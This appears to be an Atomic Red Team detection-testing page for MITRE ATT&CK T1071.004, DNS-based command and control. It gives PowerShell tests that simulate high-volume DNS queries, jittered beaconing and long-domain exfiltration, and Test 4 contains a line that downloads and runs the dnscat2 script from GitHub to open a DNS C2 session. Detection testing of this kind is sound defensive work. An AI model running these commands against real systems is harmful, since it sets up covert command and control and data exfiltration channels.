# T1071.004 - Application Layer Protocol: DNS

## Description from ATT&CK

> Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
> 
> The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)
> 
> DNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. [Protocol Tunneling](https://attack.mitre.org/techniques/T1572)). The commands may be embedded into different DNS records, for example, TXT or A records.(Citation: OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government) DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices.(Citation: DNS Beacons) Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.

[Source](https://attack.mitre.org/techniques/T1071/004)

## Atomic Tests

- [Atomic Test #1: DNS Large Query Volume](#atomic-test-1-dns-large-query-volume)
- [Atomic Test #2: DNS Regular Beaconing](#atomic-test-2-dns-regular-beaconing)
- [Atomic Test #3: DNS Long Domain Query](#atomic-test-3-dns-long-domain-query)
- [Atomic Test #4: DNS C2](#atomic-test-4-dns-c2)

### Atomic Test #1: DNS Large Query Volume

This test simulates an infected host sending a large volume of DNS queries to a command and control server.
The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.

**Supported Platforms:** Windows

**auto_generated_guid:** `1700f5d6-5a44-487b-84de-bc66f507b0a6`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| query_type | DNS query type | string | TXT|
| subdomain | Subdomain prepended to the domain name | string | atomicredteam|
| query_volume | Number of DNS queries to send | integer | 1000|
| domain | Default domain to simulate against | string | 127.0.0.1.nip.io|

#### Attack Commands: Run with `powershell`!

```powershell
for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type "#{query_type}" "#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" -QuickTimeout}
```

### Atomic Test #2: DNS Regular Beaconing

This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time.
This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.

**Supported Platforms:** Windows

**auto_generated_guid:** `3efc144e-1af8-46bb-8ca2-1376bb6db8b6`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| runtime | Time in minutes to run the simulation | integer | 30|
| domain | Default domain to simulate against | string | 127.0.0.1.nip.io|
| subdomain | Subdomain prepended to the domain name | string | atomicredteam|
| query_type | DNS query type | string | TXT|
| c2_interval | Seconds between C2 requests to the command and control server | integer | 30|
| c2_jitter | Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests | integer | 20|

#### Attack Commands: Run with `powershell`!

```powershell
Set-Location "PathToAtomicsFolder"
.\T1071.004\src\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
```

### Atomic Test #3: DNS Long Domain Query

This test simulates an infected host returning data to a command and control server using long domain names.
The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold.
 Upon execution, DNS information about the domain will be displayed for each callout.

**Supported Platforms:** Windows

**auto_generated_guid:** `fef31710-223a-40ee-8462-a396d6b66978`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| query_type | DNS query type | string | TXT|
| subdomain | Subdomain prepended to the domain name (should be 63 characters to test maximum length) | string | atomicredteamatomicredteamatomicredteamatomicredteamatomicredte|
| domain | Default domain to simulate against | string | 127.0.0.1.nip.io|

#### Attack Commands: Run with `powershell`!

```powershell
Set-Location "PathToAtomicsFolder"
.\T1071.004\src\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
```

### Atomic Test #4: DNS C2

This will attempt to start a C2 session using the DNS protocol. You will need to have a listener set up and create DNS records prior to executing this command.
The following blogs have more information.

https://github.com/iagox86/dnscat2

https://github.com/lukebaggett/dnscat2-powershell

**Supported Platforms:** Windows

**auto_generated_guid:** `e7bf9802-2e78-4db9-93b5-181b7bcd37d7`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| domain | Domain Name configured to use DNS Server where your C2 listener is running | string | example.com|
| server_ip | IP address of DNS server where your C2 listener is running | string | 127.0.0.1|

#### Attack Commands: Run with `powershell`!

```powershell
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')
Start-Dnscat2 -Domain #{domain} -DNSServer #{server_ip}
```